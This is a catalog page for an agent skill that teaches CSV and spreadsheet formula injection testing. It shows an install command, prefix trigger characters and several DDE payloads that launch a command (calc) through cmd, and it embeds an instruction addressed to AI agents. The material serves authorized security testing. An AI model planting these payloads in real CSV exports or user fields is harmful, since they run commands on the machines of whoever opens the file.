New advertisers: 50% off your first month with code FIRSTMONTHSee slots
yaklang avatar

Csv Formula Injection

Catalog entry for CSV formula injection testing across Excel, LibreOffice, and Google Sheets exports.

skills.sh installs
3.9K
GitHub stars
2.7K
last updated
Aug 21, 2026
View on GitHub

What it does

  • Covers CSV and spreadsheet formula injection: DDE payloads, prefix triggers, obfuscation patterns, and cloud-sheet import functions
  • Includes a five-step testing methodology from sink mapping through evidence capture, plus export-layer defenses such as quote and tab prefixing
  • Enforces use only under explicit authorization, with lab targets and documented consent for any payload that runs commands or fetches remote content
  • Designed for security reviews of CSV exports, reporting tools, and user-controlled fields that feed spreadsheet software

Install

$ npx -y skills add yaklang/hack-skills --skill csv-formula-injection -y

Installs into .agents/skills for every agent it finds here, and .claude/skills for Claude Code.

Files

SKILL: CSV Formula Injection

AI LOAD INSTRUCTION: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where explicitly authorized; payloads that invoke local commands or remote fetches are impactful—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.

0. QUICK START

Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):

=
+
-
@

Test cells may look like:

name,value
test,=1+1
test,+1+1
test,-1+1
test,@SUM(1+1)

Routing note: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.


1. DDE INJECTION (EXCEL / LIBREOFFICE)

Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for controlled lab reproduction:

DDE("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

Details

Repository
github.com/yaklang/hack-skills
Category
Security
First seen
May 16, 2026

More from yaklang/hack-skills

All 102

Similar to Csv Formula Injection

More Security